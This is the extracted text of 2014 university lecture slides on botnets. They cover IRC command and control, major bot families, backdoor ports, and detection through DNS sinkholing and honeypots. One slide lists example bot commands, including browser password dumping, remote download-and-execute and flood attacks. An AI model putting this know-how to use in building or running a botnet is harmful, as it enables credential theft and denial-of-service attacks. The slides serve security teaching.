Cyber. SE URITY FOR COMPUTER botnets.ppt

Botnet

1. CAP6135: Malware and Software
Vulnerability Analysis
Botnets
Cliff Zou
Spring 2014

2. 2
Acknowledgement

This lecture uses some contents from the lecture
notes from:

Dr. Dawn Song: CS161: computer security

Richard Wang – SophosLabs: The Development of Botnets

Randy Marchany - VA Tech IT Security Lab: Botnets

3. 3
Botnets

Collection of compromised hosts

Spread like worms and viruses

Once installed, respond to remote commands

A network of ‘bots’

robot :
an automatic machine that can be
programmed to perform specific tasks.

Also known as ‘zombies’

4. 4

Platform for many attacks

Spam forwarding (70% of all spam?)

Click fraud

Keystroke logging

Distributed denial of service attacks

Serious problem

Top concern of banks, online merchants

Vint Cerf: ¼ of hosts connected to Internet

5. 5
What are botnets used for?

6. 6
IRC (Internet Relay Chat) based Control

7. 7
IRC (Internet Relay Chat) based Control

8. 8
Why IRC?

IRC servers are:

freely available

easy to manage

easy to subvert

Attackers have experience with IRC

IRC bots usually have a way to remotely
upgrade victims with new payloads to
stay ahead of security efforts

9. 9
How bad is the problem?

Symantec identified a 400K node botnet

Netadmin in the Netherlands
discovered 1-2M unique IPs associated
with Phatbot infections.

Phatbot harvests MyDoom and Bagel
infected machines.

Researchers in Gtech monitored
thousands of botnets

10. 10
Spreading Problem

Spreading mechanism is a leading
cause of background noise

Port 445, 135, 139, 137 accounted for 80%
of traffic captured by German Honeynet
Project

Other ports
2745 – bagle backdoor

3127 – MyDoom backdoor

3410 – Optix trojan backdoor

5000 – upnp vulnerability

11. Most commonly used Bot families

Agobot

SDBot

SpyBot

GT Bot

12. Agobot

Most sophisticated

20,000 lines C/C++ code

IRC based command/control

Large collection of target exploits

Capable of many DoS attack types

Shell encoding/polymorphic obfuscation

Traffic sniffers/key logging

Defend/fortify compromised system

Ability to frustrate dissassembly

13. SDBot

Simpler than Agobot, 2,000 lines C code

Non-malicious at base

Utilize IRC-based command/control

Easily extended for malicious purposes

Scanning

DoS Attacks

Sniffers

Information harvesting

Encryption

14. SpyBot

<3,000 lines C code

Possibly evolved from SDBot

Similar command/control engine

No attempts to hide malicious purposes

15. GT Bot

Functions based on mIRC scripting
capabilities

HideWindow program hides bot on local
system

Basic rootkit function

Port scanning, DoS attacks, exploits for
RPC and NetBIOS

16. 
Variance in codebase size, structure,
complexity, implementation

Convergence in set of functions

Possibility for defense systems effective across bot
families

Bot families extensible

Agobot likely to become dominant

17. 
All of the above use IRC for command/control

Disrupt IRC, disable bots

Sniff IRC traffic for commands

Shutdown channels used for Botnets

IRC operators play central role in stopping
botnet traffic

But a botnet could use its own IRC server

Automated traffic identification required

Future botnets may move away from IRC

Move to P2P communication

Traffic fingerprinting still useful for identification
Control

18. Host control

Fortify system against other malicious attacks

Disable anti-virus software

Harvest sensitive information

PayPal, software keys, etc.

Economic incentives for botnets

Stresses need to patch/protect systems prior
to attack

Stronger protection boundaries required
across applications in OSes

19. 19
Example Botnet Commands

Connection

CLIENT: PASS <password>

HOST : (if error, disconnect)

CLIENT: NICK <nick>

HOST : NICKERROR | CONNECTED

Pass hierarchy info

BOTINFO <nick> <connected_to> <priority>

BOTQUIT <nick>

20. 20
Example Botnet Commands

IRC Commands

CHANJOIN <tag> <channel>

CHANPART <tag> <channel>

CHANOP <tag> <channel>

CHANKICK <tag> <channel>

CHANBANNED <tag> <channel>

CHANPRIORITY <ircnet> <channel>
<LOW/NORMAL/HIGH>

21. 21
Example Botnet Commands

pstore

Display all usernames/passwords stored in
browsers of infected systems

bot.execute

Run executable on remote system

bot.open

Reads file on remote computer

bot.command

Runs command with system()

22. 22
Example Botnet Commands

http.execute

Download and execute file through http

ftp.execute

ddos.udpflood

ddos.synflod

ddos.phaticmp

redirect.http

redirect.socks

23. 23
Current Botnet Control Architecture
bot bot
C&C
botmaster
bot
C&C
•More than one C&C server
•Spread all around the world

24. 24
Botnet Monitor: Gatech KarstNet

A lot bots use Dyn-DNS
name to find C&C
bot
bot
C&C
attacker
C&C
KarstNet sinkhole
cc1.com

KarstNet informs DNS provider of
cc1.com

Detect cc1.com by its abnormal DNS queries

DNS provider maps
cc1.com to Gatech sinkhole
(DNS hijack)
bot

All/most bots attempt to
connect the sinkhole

25. Botnet Monitor: Honeypot Spy

Security researchers set up honeypots

Honeypots: deliberately set up vulnerable machines

When compromised, put close monitoring of malware’s behaviors

Tutorial: http://en.wikipedia.org/wiki/Honeypot_%28computing%29

When compromised honeypot joins a botnet

Passive monitoring: log all network traffic

Active monitoring: actively contact other bots to obtain more
information (neighborhood list, additional c&c, etc.)

Representative research paper:

A multifaceted approach to understanding the botnet phenomenon,
Abu Rajab, Moheeb and Zarfoss, Jay and Monrose, Fabian and Terzis,
Andreas, 6th ACM SIGCOMM conference on Internet measurement (IMC),
2006.
25

26. 26
The Future Generation of Botnets

Peer-to-Peer C&C

Polymorphism

Anti-honeypot

Rootkit techniques